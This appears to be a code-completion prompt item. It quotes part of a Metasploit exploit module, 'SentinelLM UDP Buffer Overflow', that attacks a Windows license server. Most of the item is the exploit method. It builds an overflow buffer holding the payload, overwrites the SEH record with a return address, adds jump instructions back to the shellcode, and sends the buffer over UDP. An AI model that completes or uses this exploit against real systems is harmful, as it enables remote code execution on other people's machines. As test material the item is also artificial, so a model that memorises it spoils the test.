You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sentinel_lm7_udp.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/license
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SentinelLM UDP Buffer Overflow',
      'Description'    => %q
    
  def exploit
    connect_udp

    # Payload goes first
    buf = payload.encoded + rand_text_english(2048-payload.encoded.length)

    # Return to a pop/pop/ret via SEH
    buf[836, 4] = [target.ret].pack('V')

    # The pop/pop/ret takes us here, jump back 5 bytes
    buf[832, 2] = "\xeb\xf9"

    # Now jump all the way back to our shellcode
    buf[827, 5] = "\xe9" + [-829].pack('V')

    udp_sock.put(buf)
    udp_sock.recvfrom(8192)

    handler
    disconnect_udp
  end